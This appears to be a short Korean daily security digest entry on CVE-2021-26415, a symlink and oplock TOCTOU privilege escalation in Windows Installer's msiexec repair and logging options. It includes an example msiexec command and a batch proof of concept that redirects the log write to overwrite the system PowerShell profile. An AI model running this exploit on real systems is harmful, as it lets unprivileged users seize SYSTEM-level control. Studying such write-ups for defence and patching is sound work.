[하루한줄] CVE-2021-26415: Microsoft Installer Local Privilege Escalation

URL

CVE-2021-26415

Target

  • Microsoft Windows Installer

Explain

Microsoft Windows Installer(MSI)에서 TOCTOU와 symlink를 통한 Local Privilege Escalation 취약점이 발견되었습니다. msiexec는 기본적으로 관리자 권한을 필요로 하지만 repair operation 수행을 위해 /f 옵션을 사용하면 권한이 없이 사용할 수 있습니다. /L 옵션과 함께 사용하면 로그 파일을 지정된 곳에 생성할 수 있습니다.

msiexec /f C:\Windows\Installer\148d3c4.msi /L C:\temp\foo.log

symlink를 통해 foo.log가 첫 CreatFile에서 시스템 권한으로 impersnation 될 때 oplock을 설치하면 다음 쓰기/읽기 작업은 심볼릭 링크된 파일에서 수행됩니다. PowerShell을 Overwrite하여 LPE를 하는 POC는 다음과 같습니다.

@echo off
REM Put BaitAndSwitch, example.msi into C:\temp
echo > C:\temp\fakelog.txt
start C:\temp\BaitAndSwitch C:\temp\linkdir\link C:\temp\fakelog.txt C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
timeout /t 1
msiexec /j C:\temp\example.msi /t ksz /Li! C:\temp\linkdir\link /qn